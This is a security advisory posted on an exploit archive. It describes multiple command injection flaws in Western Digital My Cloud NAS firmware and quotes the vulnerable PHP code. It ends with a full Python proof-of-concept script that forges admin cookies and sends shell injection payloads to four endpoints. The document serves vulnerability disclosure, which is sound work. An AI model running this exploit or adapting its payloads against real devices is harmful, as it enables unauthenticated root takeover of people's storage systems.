exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Western Digital My Cloud Command Injection

Western Digital My Cloud Command Injection
Posted Mar 7, 2017
Authored by Securify B.V., Remco Vermeulen

Western Digital My Cloud suffers from multiple command injection vulnerabilities.

tags | exploit, vulnerability
SHA-256 | 9d9db6ddc52d6fbe5d8a6f1251995090267e44bb3456666b4cd1502963749ddc

Western Digital My Cloud Command Injection

Change Mirror Download
------------------------------------------------------------------------
Western Digital My Cloud vulnerable to multiple command injection
vulnerabilities
------------------------------------------------------------------------
Remco Vermeulen, January 2017

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
It was discovered that the Western Digital My Cloud is affected by
multiple command injection vulnerabilities. Some of these issues don't
require authentication and allow an attacker to gain complete control
(root access) of the affected device. Some do require authentication, in
this case an attacker can use Cross-Site Request Forgery (CSRF, see
advisory SFY20170104) or authentication bypass (see advisory
SFY20170102) and still gain complete control of the vulnerable Western
Digital device.

------------------------------------------------------------------------
See also
------------------------------------------------------------------------
-
https://security.szurek.pl/wd-my-cloud-mirror-211153-rce-and-authentication-bypass.html
- https://blog.exploitee.rs/2017/hacking_wd_mycloud/
- https://www.exploitee.rs/index.php/Western_Digital_MyCloud
-
https://securify.nl/advisory/SFY20170102/authentication_bypass_vulnerability_in_western_digital_my_cloud.html
-
https://securify.nl/advisory/SFY20170104/western_digital_my_cloud_vulnerable_to_cross_site_request_forgery_vulnerability.html

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
These vulnerabilities were successfully verified on a Western Digital My
Cloud model WDBCTL0020HWT running firmware versions 2.21.119 and
2.21.126. These issues aren't limited to the model that was used to find
these vulnerabilities since most of the products in the My Cloud series
share the same (vulnerable) code.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
There is currently no fix available.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://www.securify.nl/advisory/SFY20170103/western_digital_my_cloud_vulnerable_to_multiple_command_injection_vulnerabilities.html

Multiple endpoints on the My Cloud device are susceptible to command injection. Most of these issues are only exploitable by an authenticated user. Some of them can be exploited unauthenticated as there is no login check implemented in the affected endpoints. The following endpoints were found to be vulnerable.
Vulnerable endpoints not requiring authentication

- web/addons/jqueryFileTree.php:
Multiple parameters in this endpoint are susceptible to command injection. The following code snippet shows how POST parameters are used to construct a command which is subsequently executed by the popen() function without any escaping.

$host = ($_POST['host'] == "")? $_GET['host']:$_POST['host'];
$pwd = ($_POST['pwd'] == "")? $_GET['pwd']:$_POST['pwd'];
$user = ($_POST['user'] == "")? $_GET['user']:$_POST['user'];
$dir = ($_POST['dir'] == "")? $_GET['dir']:$_POST['dir'];
$lang = ($_POST['lang'] == "")? $_GET['lang']:$_POST['lang'];
//echo $dir."dir1=".dir1;
error_reporting(0);

@unlink("/tmp/ftp-folder.txt");
@unlink("/tmp/ftp-file.txt");

$cmd = sprintf("ftp_download -c gettree -i \"%s\" -u \"%s\" -p \"%s\" -t \"%s\" -l \"%s\"", $host, $user, $pwd ,$dir ,$lang);

$handle = popen($cmd, 'r');
$read = fread($handle, 2096);

- web/addons/ftp_download.php:
Multiple parameters in this endpoint are susceptible to command injection. The following code snippet shows an instance of how POST parameters are used to construct a command which is subsequently executed by the system() function without any escaping.

switch ($action)
{
case "create":
{
$taskname = $_POST['taskname'];
$source_dir = $_POST['source_dir'];
$dest_dir = $_POST['dest_dir'];
$schedule = $_POST['schedule'];
$schedule_type = $_POST['backup_sch_type'];
$hour = $_POST['hour'];
$week = $_POST['week'];
$day = $_POST['day'];

$host = $_POST['host'];
$user = $_POST['user'];
$pwd = $_POST['pwd'];
$lang = $_POST['lang'];

$sch_command = "";
if ($schedule == "0")$sch_command = "0,1,1";
else if ($schedule_type == "3")$sch_command = "3,1,".$hour; //daily
else if ($schedule_type == "2")$sch_command = "2,".$week.",".$hour; //weekly
else if ($schedule_type == "1")$sch_command = "1,".$day.",".$hour; //monthly


$cmd = sprintf("ftp_download -a \"%s\" -i \"%s\" -u \"%s\" -p \"%s\" -l \"%s\" -d \"%s\" -r %s -c jobadd",
$taskname, $host, $user, $pwd, $lang, $dest_dir, $sch_command);

foreach ($source_dir as $val)
$cmd .= sprintf(" -s \"%s\"", $val);

$cmd .= " >/dev/null 2>&1";
system($cmd);

- web/storage/raid_cgi.php:
The run_cmd parameter is susceptible to command injection. The following code snippet shows how the run_cmd parameter is used to construct a command which is subsequently executed by the system() function without any escaping.

...
switch ($action)
{
case "cgi_Run_Smart_Test":
{
$run_cmd = $_POST['run_cmd'];
system("smart_test -X > /dev/null");

$run_cmd .= " > /dev/null &";
system($run_cmd);
...

Vulnerable endpoints requiring authentication

- web/php/noHDD.php:
The enable parameter of this endpoint is susceptible to command injection. This endpoint requires authentication by at least a non-admin user. The following snippet shows how the enable parameter is used to construct a command passed to the exec() function without escaping.

[...]
$enable = $_REQUEST['enable']; //enable or disable

switch ($cmd) {
case "getDiskStatus":
getDiskStatus();
break;
case "setSataPower":
setSataPower($enable);
break;
}
function setSataPower($enable)
{
$state = "ok";
if(file_exists("/tmp/system_ready"))
{
$setCmd = "sata_power.sh \"$enable\"";
exec($setCmd,$retval);
}
[...]

- web/php/remoteBackups.php:
The jobName parameter of this endpoint is susceptible to command injection. This endpoint requires authentication by an admin user. The following snippet shows how the jobName parameter is used to construct a command passed to the system() function without escaping.

...
$cmd = $_REQUEST['cmd'];
$RemoteBackupsAPI = new RemoteBackupsAPI;

switch ($cmd) {
case "getRecoverItems":
$RemoteBackupsAPI->getRecoverItems();
break;
}


class RemoteBackupsAPI{
public function getRecoverItems()
{
$xmlPath = "/var/www/xml/rsync_recover_items.xml";
$jobName = $_REQUEST['jobName'];

@unlink($xmlPath);

$cmd = "rsyncmd -l \"$xmlPath\" -r \"$jobName\" >/dev/null";
system($cmd);

if (file_exists($xmlPath))
{
print file_get_contents($xmlPath);
}
else
{
print "<config></config>";
}
}
}
...

- web/google_analytics.php:
The arg parameter of this endpoint is susceptible to command injection. This endpoint requires authentication by at least a non-admin user. The following snippet shows how the arg parameter is used to construct a command passed to the system() function without escaping.

...
switch ($action)
{
case "set":
{
$opt = $_POST['opt'];
$arg = $_POST['arg'];
$run_cmd = sprintf("ganalytics --%s %s > /dev/null &", $opt, ($arg != "") ? $arg : "");

system($run_cmd);

$r->run_cmd = $run_cmd;
$r->success = true;
echo json_encode($r);
}
break;
}
...

- web/php/chk_vv_sharename.php:
The vv_sharename parameter of this endpoint is susceptible to command injection. This endpoint requires authentication by an admin user. The following snippet shows how the vv_sharename parameter is used to construct a command passed to the system() function without escaping.

...
{
$vv_sharename = $_GET['vv_sharename'];

if(empty($_GET["vv_sharename"]))
{
echo 'Parameter vv_sharename is missing.';
return;
}

$cmd = "vvctl --check_share_name -s \"$vv_sharename\" >/dev/null";
system($cmd);
...

Proof of Concept

The following Python script exploits can be used to exploit the command injections in the following endpoints:
- web/php/remoteBackups.php
- web/storage/raid_cgi.php
- web/google_analytics.php
- web/php/chk_vv_sharename.php

Note that this script also uses the authentication bypass vulnerability to run arbitrary code as an unauthenticated user.

import requests
import time
import inspect
import sys

mycloud_addr="127.0.0.1"
headers = {"Cookie": "username=admin; isAdmin=1"}
dryrun = False

def dump_request(req):
print "{}\n{}\n{}\n\n{}".format(
'-----------START-----------',
req.method + ' ' + req.url,
'\n'.join('{}: {}'.format(k, v) for k, v in req.headers.items()),
req.body)

def gen_rce_test_file():
return "/var/www/fsociety_%s.dat" % int(time.time())

def verify_test_file(test_file):
test_endpoint = "http://%s/%s" % (mycloud_addr, test_file[len('/var/www/'):])
print "[+] Verify test file on %s" % test_endpoint
if requests.get(test_endpoint).status_code == requests.codes.ok:
print "[+] Successfully exploited RCE"
else:
print "[-] Failed to validate RCE"

def do_post(endpoint, payload, test_file):
req = requests.Request("POST", "http://%s/%s" % (mycloud_addr, endpoint), headers=headers, data=payload)
prepared = req.prepare()
if dryrun:
dump_request(prepared)
else:
s = requests.Session()
resp = s.send(prepared)
if resp.status_code == requests.codes.ok:
verify_test_file(test_file)
else:
print "[-] Failed to exploit RCE"

def do_get(endpoint, payload, test_file):
req = requests.Request("GET", "http://%s/%s" % (mycloud_addr, endpoint), headers=headers, params=payload)
prepared = req.prepare()
if dryrun:
dump_request(prepared)
else:
s = requests.Session()
resp = s.send(prepared)
if resp.status_code == requests.codes.ok:
verify_test_file(test_file)
else:
print "[-] Failed to exploit RCE"

def exploit_remote_backups():
print "[+] Exploiting remote backups"
endpoint = "web/php/remoteBackups.php"
test_file = gen_rce_test_file()
payload = {
"cmd": "getRecoverItems",
"jobName": "`touch %s; echo foo`" % test_file
}
do_post(endpoint, payload, test_file)

def exploit_chk_vv_sharename():
print "[+] Exploiting chk_vv_sharename"
endpoint = "web/php/chk_vv_sharename.php"
test_file = gen_rce_test_file()
payload = {"vv_sharename": "`touch %s; echo foo`" % test_file}
do_get(endpoint, payload, test_file)

def exploit_raid_cgi():
print "[+] Exploiting raid cgi"
endpoint = "web/storage/raid_cgi.php"
test_file = gen_rce_test_file()
payload={"cmd": "cgi_Run_Smart_Test", "run_cmd": "touch %s" % test_file}
do_post(endpoint, payload, test_file)

def exploit_ganalytics():
print "[+] Exploiting ganalytics"
endpoint = "web/google_analytics.php"
test_file = gen_rce_test_file()
payload={"cmd": "set", "opt": "pv-backups", "arg": "; touch %s" % test_file}
do_post(endpoint, payload, test_file)

def all_exploits():
return [obj for name,obj in inspect.getmembers(sys.modules[__name__]) if (inspect.isfunction(obj) and name.startswith('exploit'))]

for f in all_exploits():
f()
time.sleep(1)

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close